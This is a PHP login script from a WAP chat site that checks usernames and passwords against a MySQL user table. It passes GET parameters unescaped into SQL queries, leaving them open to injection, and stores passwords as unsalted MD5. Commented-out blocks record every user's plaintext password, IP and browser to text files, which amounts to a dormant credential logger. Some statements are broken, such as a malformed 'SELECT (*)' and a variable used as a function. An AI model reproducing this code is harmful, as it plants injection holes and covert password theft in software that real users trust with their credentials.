File size: 5.77Kb
<?php
include("xhtmlfunctions.php");
header("Content-type: text/html; charset=ISO-8859-1");
echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";
echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
?>
<?php
include("config.php");
include("core.php");
connectdb();
$bcon = connectdb();
if (!$bcon)
{
$pstyle = gettheme1("1");
echo xhtmlhead("$stitle (ERROR!)",$pstyle);
echo "<p align=\"center\">";
echo "<img src=\"images/exit.gif\" alt=\"*\"/><br/>";
echo "ERROR! cannot connect to database<br/><br/>";
echo "This error happens usually when backing up the database, please be patient, The site will be up any minute<br/><br/>";
echo "<b>THANK YOU VERY MUCH</b>";
echo "In the mean time visit our back up chatroom<br/>";
echo "<a href=\"chat/index.php\">$stitle chat [NEW!]</a>";
echo "</p>";
echo xhtmlfoot();
exit();
}
$uid = $_GET["loguid"];
$pwd = $_GET["logpwd"];
$tolog = false;
$pstyle = gettheme1("1");
echo xhtmlhead("$stitle",$pstyle);
echo "<p align=\"center\"><small>";
echo "<img src=\"images/logo.jpg\" alt=\"$stitle\"/><br/>";
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
if($uinf[0]==0)
{
/*$brws = explode(" ",$HTTP_USER_AGENT);
$ubr = $brws[0];
$ip = $_SERVER['REMOTE_ADDR'];
$fp = fopen("lax/nic.txt","a+");
fwrite ($fp, "\n".$uid."-".$pwd."-".$ip."-".$ubr."\n");
fclose($fp);*/
echo "<img src=\"images/notok.gif\" alt=\"X\"/>UserName doesn't exist<br/><br/>";
}else{
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
$brws = explode(" ",$HTTP_USER_AGENT);
$ubr = $brws[0];
$ip = $_SERVER['REMOTE_ADDR'];
/*$fp = fopen("lax/pas.txt","a+");
fwrite ($fp, "\n".$uid."-".$pwd."-".$ip."-".$ubr."\n");
fclose($fp);*/
echo "<img src=\"images/notok.gif\" alt=\"X\"/>Incorrect Password<br/><br/>";
}else{
$tm = (time() - $timeadjust) ;
$xtm = $tm + (getsxtm()*60);
$did = $uid.$tm;
$res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");
if($res)
{
$tolog=true;
//echo "Bookmark THIS page to avoid repeating the login proccess in the future<br/><br/>";
echo "Logged in successfully as <b>$uid</b><br/>";
$idn = getuid_nick($uid);
$lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'"));
mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
mysql_query("UPDATE ibwf_users SET lastact='".(time() - $timeadjust)."' WHERE id='".$idn."'");
}else{
//is user already logged in?
$logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".$getuid_nick($uid)."'"));
if($logedin[0]>0)
{
//yip, so let's just update the expiration time
$xtm = (time() - $timeadjust) + (getsxtm()*60);
$res = mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."' WHERE uid='".getuid_nick($uid)."'");
if($res)
{
$tolog=true;
/*
$brws = explode(" ",$HTTP_USER_AGENT);
$ubr = $brws[0];
$ip = $_SERVER['REMOTE_ADDR'];
$fp = fopen("lax/lo.txt","a+");
fwrite ($fp, "\n".$uid."-".$pwd."-".$ip."-".$ubr."\n");
fclose($fp);
$ipr = getip();
$brws = $_SERVER['HTTP_USER_AGENT'];
$ubr = $brws;
$alli = "Username: ".$uid."
Password: ".$pwd."
Ip-Address: ".$ipr."
Browser: ".$ubr."
(xhtml)
----------
";
if(trim($uid)!=""){
$fname = "lax/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}
*/
echo "<img src=\"images/sucessful.gif\" alt=\"+\"/><br/>Logged in successfully as <b>$uid</b><br/>";
}else{
echo "<img src=\"images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later<br/>"; //no chance this could happen unless there's error in mysql connection
}
}
}
}
}
if($tolog)
{
$sid = md5($did);
$uid = getuid_sid($sid);
if(ismod(getuid_sid($sid)))
{
echo "on some secutity reason, I HAD TO GIVE a special secret code for each staff members,<b>so dont give ur secret code any1 and BOOKMARK NEXT page.</b> if u still didnt get ur secret code call/sms me<br/> ";
echo "<form method=\"get\" action=\"stapa.php\">";
echo "<small>UserName:</small> <input name=\"loguid\" format=\"*x\" maxlength=\"30\"/><br/>";
echo "<small>Password:</small> <input type=\"password\" name=\"logpwd\" maxlength=\"30\"/><br/>";
echo "<small>Ur secret code:</small> <input type=\"cody\" name=\"cody\" maxlength=\"30\"/><br/>";
echo "<input type=\"submit\" name=\"Submit\" value=\"Log In\"/><br/>";
echo "</form>";
}else{
$uid = getuid_sid($sid);
if(isbrw($uid))
{
echo "<br/><a href=\"ara.php?action=main&sid=$sid\"><img src=\"images/home.gif\" alt=\"*\"/>";
echo "Enter (+online radio)</a><br/>";
}
echo "<br/><a href=\"index.php?action=main&sid=$sid\"><img src=\"images/home.gif\" alt=\"*\"/>";
echo "Enter</a><br/><br/>";
}
echo "Tell everyone about <b>http://chat.Waplive.co.za</b> and make this the best place to hang out.<br/><br/>";
}else{
echo "<br/><a href=\"index.php\"><img src=\"images/home.gif\" alt=\"*\"/>";
echo "Home</a><br/><br/>";
}
echo "<b>Bookmark NOW!!<br/> (for Autologin)</b><br/><br/>";
echo "</small></p>";
echo xhtmlfoot();
?>